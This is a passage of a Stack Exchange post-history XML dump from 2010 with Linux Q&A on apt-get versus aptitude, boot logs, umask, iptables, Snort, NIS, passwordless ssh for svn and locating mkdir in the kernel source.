  <row Id="1411" PostHistoryTypeId="2" PostId="767" RevisionGUID="9bde0e75-049b-430f-b2c7-ca10b1b047ea" CreationDate="2010-08-19T04:50:13.927" UserId="614" Text="I know that both **apt-get** and **aptitude** are command line package management interfaces on Debian derived Linux, with different options, but I'm still somewhat confused.  Under the hood, aren't they using the same APT system?  &#xD;&#xA;&#xD;&#xA;Why does Debian maintain these parallel tools?  (Bonus question: what on earth is [wajig][1]?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   [1]: http://manpages.ubuntu.com/manpages/maverick/man1/wajig.1.html" />
  <row Id="1412" PostHistoryTypeId="1" PostId="767" RevisionGUID="9bde0e75-049b-430f-b2c7-ca10b1b047ea" CreationDate="2010-08-19T04:50:13.927" UserId="614" Text="What is the real difference between &quot;apt-get&quot; and &quot;aptitude&quot;?  (How about &quot;wajig&quot;?)" />
  <row Id="1413" PostHistoryTypeId="3" PostId="767" RevisionGUID="9bde0e75-049b-430f-b2c7-ca10b1b047ea" CreationDate="2010-08-19T04:50:13.927" UserId="614" Text="élinuxàéubuntuàéinstallàéaptitudeàéaptà" />
  <row Id="1414" PostHistoryTypeId="2" PostId="768" RevisionGUID="7dca5dc8-7a9c-4687-a3b8-4b7b7a6116db" CreationDate="2010-08-19T05:18:43.227" UserId="614" Text="The &quot;What is Cocoa?&quot; section of the [Cocoa Fundamentals Guide][1] has a bunch of great illustrations of the architecture from the bottom up. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/CocoaFundamentals/Introduction/Introduction.html#//apple_ref/doc/uid/TP40002974-CH1-SW1" />
  <row Id="1415" PostHistoryTypeId="2" PostId="769" RevisionGUID="57919588-bf93-4cba-bb2c-2ebb46fe8ea5" CreationDate="2010-08-19T05:33:01.330" UserId="558" Text="I've often wondered myself. [Wikipedia suggests][1] that `aptitude` properly only refers to the ncurses-based interface, which itself uses `apt-get` in the background. The fact that you can use most `apt-get` command arguments with `aptitude` itself is just a design decision to make it easier for `apt-get` users to move to `aptitude` and vice-versa.&#xD;&#xA;&#xD;&#xA;I've never used `wajig`, but the documentation suggests that it's just a script which knows whether you're passing it a `deb` file (when it runs `dpkg`) or an `apt` package name (when it runs `apt-get` instead). Could you try it out and see if that is what it does?&#xD;&#xA;&#xD;&#xA;Of course, the *real* difference is:&#xD;&#xA;&#xD;&#xA;    gaurav@fern:~$ apt-get moo&#xD;&#xA;             (__) &#xD;&#xA;             (oo) &#xD;&#xA;       /------\/ &#xD;&#xA;      / |    ||   &#xD;&#xA;     *  /\---/\ &#xD;&#xA;        ~~   ~~   &#xD;&#xA;    ....&quot;Have you mooed today?&quot;...&#xD;&#xA;    gaurav@fern:~$ aptitude moo&#xD;&#xA;    There are no Easter Eggs in this program.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Aptitude_%28software%29" />
  <row Id="1416" PostHistoryTypeId="2" PostId="770" RevisionGUID="886cda1c-0139-467f-99a5-31ba13faaba5" CreationDate="2010-08-19T06:28:15.343" UserId="29" Text="one of my processes is failing to start fairly early in the boot process (I suspect mdadm and I suspect that it's just taking longer than the rc script allows for) but I can't quite catch it (see it) during boot and arch clears the screen before the login prompt appears. Does arch keep any logs of the init process that might show? or is there any way to see what was on the screen before it clears or keep it from clearing the screen?" />
  <row Id="1417" PostHistoryTypeId="1" PostId="770" RevisionGUID="886cda1c-0139-467f-99a5-31ba13faaba5" CreationDate="2010-08-19T06:28:15.343" UserId="29" Text="Are there rc logs in arch?" />
  <row Id="1418" PostHistoryTypeId="3" PostId="770" RevisionGUID="886cda1c-0139-467f-99a5-31ba13faaba5" CreationDate="2010-08-19T06:28:15.343" UserId="29" Text="élogsàéarchölinuxà" />
  <row Id="1419" PostHistoryTypeId="2" PostId="771" RevisionGUID="3471151f-88db-4934-8b41-023c781d958b" CreationDate="2010-08-19T06:47:50.153" UserDisplayName="Kyle Ambroff" Text="You want the wide output option &quot;w&quot;. Using it three times will allow unlimited width.&#xD;&#xA;&#xD;&#xA; ps auxwww" />
  <row Id="1420" PostHistoryTypeId="2" PostId="772" RevisionGUID="d33a27a4-fea7-4abd-8f17-09aad68d0d09" CreationDate="2010-08-19T06:59:41.893" UserId="592" Text="`aptitude` remembers which packages were explicitly requested and which were only installed due to dependencies. It will automatically uninstall packages which were not explicitly requested when they are no longer needed.&#xD;&#xA;&#xD;&#xA;`apt-get` treats packages requested explicitly and their dependencies the same.&#xD;&#xA;&#xD;&#xA;So better use `aptitude`, this helps to keep your system clean." />
  <row Id="1421" PostHistoryTypeId="2" PostId="773" RevisionGUID="c21fba8e-4ef8-4d97-89a8-09605bd3e295" CreationDate="2010-08-19T07:26:11.643" UserId="646" Text="http://pthree.org/2007/08/12/aptitude-vs-apt-get/" />
  <row Id="1422" PostHistoryTypeId="2" PostId="774" RevisionGUID="1fc2376d-ec5b-446a-87ab-32f6beeac6e6" CreationDate="2010-08-19T07:38:19.913" UserId="646" Text="Per the [FHS][1], `/usr/local/` is used for applications compiled from source, while `/opt/` is used for 3rd party applications not supported by your operating system vendor.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html" />
  <row Id="1423" PostHistoryTypeId="2" PostId="775" RevisionGUID="9dcf6bf3-1ab3-4a61-8d2f-460571f12911" CreationDate="2010-08-19T07:47:25.350" UserId="646" Text="Just because your system is swapping, does not mean you have a problem. There are applications that are finely tuned to take great advantage of swap without hindering performance of the system. Most relational database systems are tuned this way: IE: Oracle and Cache, probably being the biggest two.&#xD;&#xA;&#xD;&#xA;If you use hibernation, it uses swap space for the storage of RAM. When booting the system back up, everything in swap is added back to RAM. This way, you can power down your system without chewing through the battery like standby, and still get back to where you left off before power down. As a result, your battery will last much longer.&#xD;&#xA;&#xD;&#xA;Swapping can be a great thing, because it frees up more of your active RAM, to keep the performance of your system high. When your active RAM is filled AND your swap is filled, and you still need more room, then and only then, do you have a problem. Until that point, swap is here to help you, not hurt you." />
  <row Id="1424" PostHistoryTypeId="2" PostId="776" RevisionGUID="3dff8c33-ef7c-40bd-bdf8-3bc52213c6ba" CreationDate="2010-08-19T07:57:14.377" UserId="646" Text="Depends vastly on your needs. `iptables` can be quite easy to master, when you understand how it works.&#xD;&#xA;&#xD;&#xA;There are three tables that contain rules: `INPUT`, `OUTPUT` and `FORWARD`. If you're wishing to block only packets coming into your server, then the `INPUT` table is all you really need to be concerned about.&#xD;&#xA;&#xD;&#xA;After that, it's just setting the appropriate criteria for what you want to block or how you want to handle connections. Just remember that when you're reading the rules, it's based on first-match, which means that if a packet matches a rule before the one you actually want, it will obey that first rule. So, order is important.&#xD;&#xA;&#xD;&#xA;Generally, for basic `INPUT` filters, you'll find only a few holes punched for the services that are important, then a global catch-all that blocks everything else." />
  <row Id="1425" PostHistoryTypeId="5" PostId="776" RevisionGUID="d3f514bd-f9b7-4461-ad97-84ccc1b02b70" CreationDate="2010-08-19T08:04:17.823" UserId="646" Comment="s/tables/chains/" Text="Depends vastly on your needs. `iptables` can be quite easy to master, when you understand how it works.&#xD;&#xA;&#xD;&#xA;There are three chains in the `filter` table that contain rules: `INPUT`, `OUTPUT` and `FORWARD`. If you're wishing to block only packets coming into your server, then the `INPUT` chain is all you really need to be concerned about.&#xD;&#xA;&#xD;&#xA;After that, it's just setting the appropriate criteria for what you want to block or how you want to handle connections. Just remember that when you're reading the rules, it's based on first-match, which means that if a packet matches a rule before the one you actually want, it will obey that first rule. So, order is important.&#xD;&#xA;&#xD;&#xA;Generally, for basic `INPUT` filters, you'll find only a few holes punched for the services that are important, then a global catch-all that blocks everything else. The example Linode gives is a good example of this." />
  <row Id="1426" PostHistoryTypeId="5" PostId="776" RevisionGUID="4a4dbd48-a74e-45ba-8dc7-9ac7458f991e" CreationDate="2010-08-19T08:09:29.493" UserId="646" Comment="s/Linode/Slicehost/" Text="Depends vastly on your needs. `iptables` can be quite easy to master, when you understand how it works.&#xD;&#xA;&#xD;&#xA;There are three chains in the `filter` table that contain rules: `INPUT`, `OUTPUT` and `FORWARD`. If you're wishing to block only packets coming into your server, then the `INPUT` chain is all you really need to be concerned about.&#xD;&#xA;&#xD;&#xA;After that, it's just setting the appropriate criteria for what you want to block or how you want to handle connections. Just remember that when you're reading the rules, it's based on first-match, which means that if a packet matches a rule before the one you actually want, it will obey that first rule. So, order is important.&#xD;&#xA;&#xD;&#xA;Generally, for basic `INPUT` filters, you'll find only a few holes punched for the services that are important, then a global catch-all that blocks everything else. The example Slicehost gives is a good example of this." />
  <row Id="1427" PostHistoryTypeId="2" PostId="777" RevisionGUID="9c1adb13-9800-40eb-94f5-5e2435a4f338" CreationDate="2010-08-19T08:10:09.947" UserId="272" Text="It is actually not that hard to create deb's or rpm's from a source tarball. That way, you can use the facilities of your distro's package manager to keep your system clean. This is what I do, most of the time: just create a little rpm." />
  <row Id="1428" PostHistoryTypeId="2" PostId="778" RevisionGUID="8d075949-ad13-4e96-b415-79233a13b10d" CreationDate="2010-08-19T08:16:59.133" UserId="646" Text="`/var/log/messages` would be the first place to look. `/var/log/dmesg` and the `dmesg` command could also be helpful. RC scripts also have their own separate log files, such as Apache, SSH, Postfix, etc. Check under `/var/log` for the right log file based on the utility that is having trouble starting." />
  <row Id="1429" PostHistoryTypeId="2" PostId="779" RevisionGUID="9a0d1168-c5bc-4536-b0e3-7cd0091cf1f1" CreationDate="2010-08-19T08:24:27.960" UserId="646" Text="In my professional experience, I've struggled to get good solid network performance with Samba on GNU/Linux. You mentioned you have achieved speeds of 55 MBps with it, which I believe, so I'm guessing something else is definitely at play.&#xD;&#xA;&#xD;&#xA;However, have you tried NFS, FTP and SCP? Are the bandwidth issues consistent across the different protocols? If so, it's likely narrowed down to the physical connection. If you get inconsistent results, then it's likely a software problem.&#xD;&#xA;&#xD;&#xA;Aside from testing the other protocols, are you using encryption on the transfer? For example, using `rsync -z` is sweet for enabling compression, but it's comes at a CPU cost, which severely impacts overall speed of the transfer. If using `SSH` with `rsync`, then you have encryption on top of compression, and your CPU will be under a bit of stress, causing severe speed penalties." />
  <row Id="1430" PostHistoryTypeId="2" PostId="780" RevisionGUID="aa2bf551-0739-4b94-a685-4051d0158025" CreationDate="2010-08-19T08:25:42.357" UserId="57" Text="I am using altova Xml editor on windows from long time.   &#xD;&#xA;It has one wonderful feature to view XML files in Grid view. this makes life easy when reading very complex XML.  &#xD;&#xA;My question is there any editor available on linux which have Grid view support ?" />
  <row Id="1431" PostHistoryTypeId="1" PostId="780" RevisionGUID="aa2bf551-0739-4b94-a685-4051d0158025" CreationDate="2010-08-19T08:25:42.357" UserId="57" Text="any xml file editor for linux with grid view support ?" />
  <row Id="1432" PostHistoryTypeId="3" PostId="780" RevisionGUID="aa2bf551-0739-4b94-a685-4051d0158025" CreationDate="2010-08-19T08:25:42.357" UserId="57" Text="éxmlà" />
  <row Id="1433" PostHistoryTypeId="2" PostId="781" RevisionGUID="bfd48a1d-d1da-4bd5-8f34-7a81ae8c3492" CreationDate="2010-08-19T08:41:11.353" UserId="648" Text="What are the cons, for having a restrictive umask of 077? A lot of distros (I believe all, except Red Hat?) have a default umask of 022, configured in /etc/profile. This seems way too insecure for a non-desktop system, which multiple users are accessing, and security is of concern. &#xD;&#xA;&#xD;&#xA;On a related note, on ubuntu, the users' home directories are also created with 755 permissions, and the installer states that this is for making it easier for users to share files. Assuming that users' are comfortable setting permissions by hand to make files shared, this is not a problem.&#xD;&#xA;&#xD;&#xA;What other downsides are there? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(can't add tag umask yet)" />
  <row Id="1434" PostHistoryTypeId="1" PostId="781" RevisionGUID="bfd48a1d-d1da-4bd5-8f34-7a81ae8c3492" CreationDate="2010-08-19T08:41:11.353" UserId="648" Text="Downsides of umask 077?" />
  <row Id="1435" PostHistoryTypeId="3" PostId="781" RevisionGUID="bfd48a1d-d1da-4bd5-8f34-7a81ae8c3492" CreationDate="2010-08-19T08:41:11.353" UserId="648" Text="élinuxà" />
  <row Id="1436" PostHistoryTypeId="2" PostId="782" RevisionGUID="49c2abc8-5a93-4e00-a14b-473c854e9923" CreationDate="2010-08-19T08:52:18.330" UserId="188" Text="Just for completeness, in the low-level end of the spectrum I'd mention vipw(8) and vigr(8), just above &quot;vi /etc/passwd&quot; and &quot;cat &gt; /etc/passwd&quot; but right below &quot;useradd&quot;. Oh, and they exist in most Unix variants." />
  <row Id="1437" PostHistoryTypeId="2" PostId="783" RevisionGUID="1bc8f2d2-4eab-4fcc-bd8e-f404735aa5b8" CreationDate="2010-08-19T09:08:14.737" UserId="649" Text="While on 2nd year of studying computer science we were given a homework to write a program in C that would spawn a number of subprocesses with fork and make them communicate with pipes in a &quot;circle&quot; and figure out which one should be the &quot;leader&quot;.&#xD;&#xA;&#xD;&#xA;We were still quite noobs back then and most of peple didn't have any linux machines, so we worked on our accounts on our faculty's main server (which was hosting official site and staff accounts and sites as well). Most of people wrote forkbombs at some stage of trying to do the homework. Over a half of my group got to the `abusers` file. That was the highest load on that server in a looong time :)" />
  <row Id="1438" PostHistoryTypeId="16" PostId="783" RevisionGUID="1bc8f2d2-4eab-4fcc-bd8e-f404735aa5b8" CreationDate="2010-08-19T09:08:14.737" UserId="-1" />
  <row Id="1439" PostHistoryTypeId="2" PostId="784" RevisionGUID="64623089-c964-40ec-90bb-7788a837e688" CreationDate="2010-08-19T09:16:12.127" UserId="651" Text="The most obvious downside is when you start creating files/directories in a shared directory, expecting other users to access them.&#xD;&#xA;&#xD;&#xA;Of course, it's only a matter of not forgetting to set the correct umask before doing stuff that need to be shared by all users.&#xD;&#xA;&#xD;&#xA;Another caveat (not really a downside, once you are aware of it) is when you start doing sudo stuff such as installing local programs, ruby gems, python eggs (not OS manage packages obviously), creating configuration files, and so on.&#xD;&#xA;&#xD;&#xA;You will get into trouble for the umask is inherited by the sudo session, so only root will be able to access files/dirs you create. sudo can be configured to automatically set the umask the way you want: [this question is covered on superuser.com][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/79914/how-do-i-tell-sudo-to-write-files-with-a-umask-of-0022" />
  <row Id="1441" PostHistoryTypeId="5" PostId="770" RevisionGUID="cd29bd48-20f3-48c5-a226-2ae074d16b4c" CreationDate="2010-08-19T09:32:13.533" UserId="29" Comment="clarify" Text="one of my processes is failing to start fairly early in the boot process (I suspect mdadm and I suspect that it's just taking longer than the rc script allows for) but I can't quite catch it (see it) during boot and arch clears the screen before the login prompt appears. Does arch keep any logs of the init process that might show? or is there any way to see what was on the screen before it clears or keep it from clearing the screen?&#xD;&#xA;&#xD;&#xA;*update* I'm really talking about the rc scripts and output to the screen... this does not actually translate to things sent to the system logs or errors output by daemons unfortunately. Gentoo had  a special log just for the boot output, but it wasn't enabled by default, I'm hoping Arch has something similar." />
  <row Id="1442" PostHistoryTypeId="6" PostId="781" RevisionGUID="093f2327-162d-4ad1-b48a-14f74427ed11" CreationDate="2010-08-19T09:42:10.993" UserId="29" Comment="edited tags" Text="élinuxàépermissionsà" />
  <row Id="1443" PostHistoryTypeId="5" PostId="780" RevisionGUID="6cdee4fe-88d7-4f72-9e28-db115a3985b9" CreationDate="2010-08-19T10:09:35.293" UserId="57" Comment="added 52 characters in body" Text="I am using altova Xml editor on windows from long time.   &#xD;&#xA;It has one wonderful feature to view XML files in Grid view. this makes life easy when reading very complex XML.  &#xD;&#xA;My question is there any editor available on linux which have Grid view support ?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;I am looking for some free alternative.&#xD;&#xA;" />
  <row Id="1445" PostHistoryTypeId="2" PostId="786" RevisionGUID="ae26a5eb-4cea-4511-9df2-7ee3bc0f07d2" CreationDate="2010-08-19T10:50:53.867" UserId="524" Text="Please give a brief description for each tool." />
  <row Id="1446" PostHistoryTypeId="1" PostId="786" RevisionGUID="ae26a5eb-4cea-4511-9df2-7ee3bc0f07d2" CreationDate="2010-08-19T10:50:53.867" UserId="524" Text="What are some common tools for intrusion detection?" />
  <row Id="1447" PostHistoryTypeId="3" PostId="786" RevisionGUID="ae26a5eb-4cea-4511-9df2-7ee3bc0f07d2" CreationDate="2010-08-19T10:50:53.867" UserId="524" Text="élinuxàénetworkingàéutilitiesà" />
  <row Id="1448" PostHistoryTypeId="2" PostId="787" RevisionGUID="35c9a221-d236-49f1-be3a-c9a6681759f7" CreationDate="2010-08-19T11:04:25.013" UserId="539" Text="[Snort][1] &#xD;&#xA;&#xD;&#xA;Originally released in 1998 by Sourcefire founder and CTO Martin Roesch, Snort is a free, open source network intrusion detection and prevention system capable of performing real-time traffic analysis and packet logging on IP networks. Initially called a “lightweight” intrusion detection technology, Snort has evolved into a mature, feature-rich IPS technology that has become the de facto standard in intrusion detection and prevention. With nearly 4 million downloads and approximately 300,000 registered users Snort, it is the most widely deployed intrusion prevention technology in the world.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.snort.org/" />
  <row Id="1449" PostHistoryTypeId="2" PostId="788" RevisionGUID="c4d2a8b1-d107-435e-a05b-b0e8c7e9271e" CreationDate="2010-08-19T11:18:14.603" UserId="166" Text="Seeing the `&amp;` as a knot might help : think about what you want to do as taking the output of 2, so `2&gt;`, and tying it together with 1, so `2&gt;&amp;1`" />
  <row Id="1450" PostHistoryTypeId="16" PostId="788" RevisionGUID="c4d2a8b1-d107-435e-a05b-b0e8c7e9271e" CreationDate="2010-08-19T11:18:14.603" UserId="-1" />
  <row Id="1451" PostHistoryTypeId="5" PostId="780" RevisionGUID="3a7f43f5-c293-443d-af7e-2554c6872b16" CreationDate="2010-08-19T11:29:36.690" UserId="57" Comment="added 96 characters in body" Text="I am using altova Xml editor on windows from long time.   &#xD;&#xA;It has one wonderful feature to view XML files in Grid view. this makes life easy when reading very complex XML.  &#xD;&#xA;My question is there any editor available on linux which have Grid view support ?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;I am looking for some free alternative.&#xD;&#xA;following is the example of grid view :&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Jji1L.gif" />
  <row Id="1452" PostHistoryTypeId="2" PostId="789" RevisionGUID="51feba4f-07ca-4e3a-aae4-51a11fd6e83e" CreationDate="2010-08-19T12:08:17.537" UserId="571" Text="If you just want centralised authentication, look at NIS or NIS+ (formerly known as yellow pages which is why all the commands begin with 'yp').&#xD;&#xA;&#xD;&#xA;Configure your main server as the master NIS server, then configure all the other boxes to use NIS to authenticate users.&#xD;&#xA;&#xD;&#xA;The wikipedia page for NIS is here: http://en.wikipedia.org/wiki/Network_Information_Service and the Linux NIS Howto is here: http://www.tldp.org/HOWTO/NIS-HOWTO/&#xD;&#xA;&#xD;&#xA;For a basic home network NIS will be fine. If you need more control over which users can see which servers you'll need to use NIS+" />
  <row Id="1453" PostHistoryTypeId="2" PostId="790" RevisionGUID="98dab864-4b63-499a-b391-0690cc95c382" CreationDate="2010-08-19T12:51:52.893" UserId="27" Text="If your question was limited to &#xD;&#xA;&gt; any Linux system (of any distribution)&#xD;&#xA;&#xD;&#xA;but all of the systems have network access to a single server.   You could use something like NIS or YP.  So this answer is limited to admins within a single organization.&#xD;&#xA;&#xD;&#xA;You still have the issue where almost every distribution has slightly different ways to configure YP, but configuration only happens once.  Also, this type of network is not trivial.&#xD;&#xA;&#xD;&#xA;Within a single site/network you will gain a lot doing this.  In combination with automount, my favorite is being able to SSH to any *nix machine and have all my home files and tools available to me.&#xD;&#xA;&#xD;&#xA;To the point, the distribution you choose for the master is the system you use for managing users.  You then will have a single set of tools/documentation to manage users and groups.&#xD;&#xA;&#xD;&#xA;It is even possible to use something like LDAP and samba tools on the master.  Using samba also allows me to have my home files available to me on windows machines." />
  <row Id="1455" PostHistoryTypeId="2" PostId="792" RevisionGUID="7bbbd250-8c21-4765-bc86-71ffd3de43f4" CreationDate="2010-08-19T13:11:52.357" UserId="138" Text="It's not free, but &lt;a href=&quot;http://www.oxygenxml.com/&quot;&gt;oXygen&lt;/a&gt; has this feature, and runs on all three major platforms.  (It's Java-based.)  They have a &lt;a href=&quot;http://www.oxygenxml.com/demo/GridEditor/GridEditor.html&quot;&gt;screencast demo of the feature&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;You can get oXygen in both a standalone version and one that runs in Eclipse, which is nice since you may already be using Eclipse for developing the parts of the system that consume or produce the XML." />
  <row Id="1456" PostHistoryTypeId="6" PostId="781" RevisionGUID="b7e04b67-0e3e-42e7-abab-16a418ee87df" CreationDate="2010-08-19T13:12:58.857" UserId="138" Comment="edited tags" Text="élinuxàépermissionsàéumaskà" />
  <row Id="1457" PostHistoryTypeId="2" PostId="793" RevisionGUID="9d0011f3-cbd0-4887-9980-7de933342b3e" CreationDate="2010-08-19T13:13:28.157" UserId="413" Text="022 makes things convenient. 077 makes things less convenient, but depending on the circumstances and usage profile, it might not be any less convenient than having to use sudo. &#xD;&#xA;&#xD;&#xA;I would argue that, like sudo, the actual, measurable security benefit you gain from this is negligible compared to the level of pain you inflict on yourself and your users. As a consultant, I have been scorned for my views on sudo and challenged to break numerous sudo setups, and I have yet to take more than 15 seconds to do so. Your call. &#xD;&#xA;&#xD;&#xA;Knowing about umask is good, but it's just a single Corn Flake in the &quot;complete breakfast&quot;. Maybe you should be asking yourself &quot;Before I go mucking with default configs, the consistency of which will need to be maintained across installs, and which will need to be documented and justified to people who aren't dim-witted, what's this gonna buy me?&quot;&#xD;&#xA;&#xD;&#xA;Umask is also a bash built-in that is settable by individual users in their shell initialization files (~/.bash*), so you're not really able to easily enforce the umask. It's just a default. In other words, it's not buying you much. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="1458" PostHistoryTypeId="2" PostId="794" RevisionGUID="84bc8d8d-3793-43e4-b229-0dbb6fd73214" CreationDate="2010-08-19T13:31:44.120" UserId="461" Text="Draw it in your wallpaper :)&#xD;&#xA;&#xD;&#xA;Now, seriously, this and other basic stuff I kept forgetting, so I added a quick tips menu to an app I developed and that I use daily. You might want to give it a try or use something like gnote to keep a note." />
  <row Id="1459" PostHistoryTypeId="16" PostId="794" RevisionGUID="84bc8d8d-3793-43e4-b229-0dbb6fd73214" CreationDate="2010-08-19T13:31:44.120" UserId="-1" />
  <row Id="1460" PostHistoryTypeId="5" PostId="755" RevisionGUID="b5f2d4f3-6bdb-41e8-a518-a4d4b51b856a" CreationDate="2010-08-19T13:44:34.523" UserId="160" Comment="adjective -&gt; verb" Text="You mention Linux in the last part of your question, but since the title is generic I'll answer for FreeBSD.&#xD;&#xA;&#xD;&#xA;FreeBSD has similar commands as Linux but they are commands passed to the `pw` utility: &#xD;&#xA;&#xD;&#xA;    pw useradd [user|uid] ...&#xD;&#xA;    pw usermod [user|uid] ...&#xD;&#xA;&#xD;&#xA;and so on.  However, one can parse the command into two parts: `user` and `mod`; a noun and a verb.  Moreover, one can also use `group` and `del`:&#xD;&#xA;&#xD;&#xA;    pw groupdel [group|gid] ...&#xD;&#xA;&#xD;&#xA;to, for example, delete a group.  So here's what I think is really cool:  **the order doesn't matter, nor does the spacing!**  What this means, is that you can remember what to call by thinking about what you want to do (in English anyway):&#xD;&#xA;&#xD;&#xA;    pw del user [user|uid] ...&#xD;&#xA;    pw mod group [group|gid] ...&#xD;&#xA;    pw show user [user|uid] ...&#xD;&#xA;    pw next user [user|uid] ...&#xD;&#xA;&#xD;&#xA;and more!  The `pw` utility also lets you lock and unlock accounts:&#xD;&#xA;&#xD;&#xA;    pw lock [user|uid] ...&#xD;&#xA;    pw unlock [user|uid] ...&#xD;&#xA;&#xD;&#xA;Options and any parameters that you pass are all standardized (although don't always apply to call commands) so memorization is minimized.  All in all a nice way to do things.&#xD;&#xA;&#xD;&#xA;*Note:  the ellipses in the above examples represent options and paramters passed to `pw` not additional users or groups.*" />
  <row Id="1461" PostHistoryTypeId="2" PostId="795" RevisionGUID="de035b84-8849-4eee-ae26-3bb64e1b6d15" CreationDate="2010-08-19T13:44:44.070" UserId="394" Text="I want to do a passwordless ssh connection for a subversion project. Right now I'm using ssh+svn, and it's a little annoying, because I have to type the password any time I want to transact with the server. &#xD;&#xA;&#xD;&#xA;I've found several tutorials on the web about how to generate a key for passwordless ssh, but they all seem to assume that I'm using the same username on the remote system as I am for my home system. However, the username that I use for ssh+svn is different that the user account name on the system that I'm running. How do I set this up properly? I haven't had luck with just changing the name in the key file." />
  <row Id="1462" PostHistoryTypeId="1" PostId="795" RevisionGUID="de035b84-8849-4eee-ae26-3bb64e1b6d15" CreationDate="2010-08-19T13:44:44.070" UserId="394" Text="passwordless ssh for another username?" />
  <row Id="1463" PostHistoryTypeId="3" PostId="795" RevisionGUID="de035b84-8849-4eee-ae26-3bb64e1b6d15" CreationDate="2010-08-19T13:44:44.070" UserId="394" Text="ésshàépasswordàésubversionà" />
  <row Id="1464" PostHistoryTypeId="2" PostId="796" RevisionGUID="c0d69ceb-fe86-4caa-8315-114cd77c59fc" CreationDate="2010-08-19T13:47:27.840" UserId="138" Text="You just have to supply the other system's username in the `svn` command:&#xD;&#xA;&#xD;&#xA;    $ svn co svn+ssh://otheruser@othersystem/path/to/repo&#xD;&#xA;&#xD;&#xA;To answer your question's title, too:&#xD;&#xA;&#xD;&#xA;    $ ssh otheruser@othersystem" />
  <row Id="1465" PostHistoryTypeId="5" PostId="796" RevisionGUID="e25c0105-2fb9-4f34-816c-049ea707b4ac" CreationDate="2010-08-19T13:54:19.523" UserId="138" Comment="Added a bit more explanation of what this does and why it works" Text="You just have to supply the other system's username in the `svn` command:&#xD;&#xA;&#xD;&#xA;    $ svn co svn+ssh://otheruser@othersystem/path/to/repo&#xD;&#xA;&#xD;&#xA;To answer your question's title, too:&#xD;&#xA;&#xD;&#xA;    $ ssh otheruser@othersystem&#xD;&#xA;&#xD;&#xA;This causes `sshd` on the remote machine to look in `~otheruser/.ssh/authorized_keys` for the public key corresponding to the private key on the machine you're typing the command on." />
  <row Id="1467" PostHistoryTypeId="2" PostId="797" RevisionGUID="39b88212-e182-4e94-98eb-8e750fd50cf7" CreationDate="2010-08-19T14:26:00.353" UserId="515" Text="I am trying to understand how a function, say `mkdir` works by looking at the kernel source. This is an attempt to understand the kernel internals and navigate between various functions. I know `mkdir` is defined in `sys/stat.h`. I found the prototype like,&#xD;&#xA;&#xD;&#xA;    /* Create a new directory named PATH, with permission bits MODE.  */&#xD;&#xA;    extern int mkdir (__const char *__path, __mode_t __mode)&#xD;&#xA;         __THROW __nonnull ((1));&#xD;&#xA;&#xD;&#xA;Now I need to see on which C file this function is implemented. From the source directory, I tried&#xD;&#xA;&#xD;&#xA;    ack &quot;int mkdir&quot;&#xD;&#xA;&#xD;&#xA;which displayed&#xD;&#xA;&#xD;&#xA;    security/inode.c&#xD;&#xA;    103:static int mkdir(struct inode *dir, struct dentry *dentry, int mode)&#xD;&#xA;    &#xD;&#xA;    tools/perf/util/util.c&#xD;&#xA;    4:int mkdir_p(char *path, mode_t mode)&#xD;&#xA;    &#xD;&#xA;    tools/perf/util/util.h&#xD;&#xA;    259:int mkdir_p(char *path, mode_t mode);&#xD;&#xA;&#xD;&#xA;But none of them matches the defnition in `sys/stat.h`.&#xD;&#xA;&#xD;&#xA;*Questions*&#xD;&#xA;&#xD;&#xA; 1. Which file has `mkdir` implementation?&#xD;&#xA; 2. With a function definition like the above, how can I find out which file has the implementation? Is there any pattern which kernel follows in defining and implementing methods?&#xD;&#xA;&#xD;&#xA;I am using [this][1] version of kernel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/linux/kernel/v2.6/testing/linux-2.6.36-rc1.tar.bz2" />
  <row Id="1468" PostHistoryTypeId="1" PostId="797" RevisionGUID="39b88212-e182-4e94-98eb-8e750fd50cf7" CreationDate="2010-08-19T14:26:00.353" UserId="515" Text="Hacking into linux kernel" />
  <row Id="1469" PostHistoryTypeId="3" PostId="797" RevisionGUID="39b88212-e182-4e94-98eb-8e750fd50cf7" CreationDate="2010-08-19T14:26:00.353" UserId="515" Text="élinuxàékernelàésourceà" />
  <row Id="1470" PostHistoryTypeId="2" PostId="798" RevisionGUID="6dfdac3c-70e6-40e7-8786-9644c72a79a2" CreationDate="2010-08-19T14:49:40.810" UserId="668" Text="If you are using a backend other than the default local machine backend - OpenLDAP being the most common - then [cpu](http://cpu.sourceforge.net/) (change password utility) might be the command you are looking for. It can be run on machines other than the LDAP master if configured correctly, and it's syntax is mostly just the same as `useradd` etc with a prefix of `cpu`. So to add myself I could do&#xD;&#xA;&#xD;&#xA;    $ sudo cpu useradd hamish&#xD;&#xA;&#xD;&#xA;See the [cpu man page](http://manpages.ubuntu.com/manpages/lucid/en/man8/cpu-ldap.8.html) for more details." />
  <row Id="1471" PostHistoryTypeId="2" PostId="799" RevisionGUID="068feb17-7543-45e1-a2fc-41eb8cffc4b9" CreationDate="2010-08-19T14:59:28.900" UserId="2282" Text="There are two ways to do this:&#xD;&#xA;&#xD;&#xA;  1) put user@ into the svn url ; this tells svn+ssh to login as that user.  I think it's kind of a bad idea from a maintenance perspective because things like externals that point at other parts of the repository won't work correctly.&#xD;&#xA;&#xD;&#xA;  2) make a ~/.ssh/config (documented as [ssh_config][1]) that says something like:&#xD;&#xA;&#xD;&#xA;    Host othersystem&#xD;&#xA;      User otheruser&#xD;&#xA;&#xD;&#xA;  this way *any* attempt to ssh to othersystem will default to using otheruser.  Which is handy for you when do ssh manually as well as when you're using svn.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/ssh_config" />
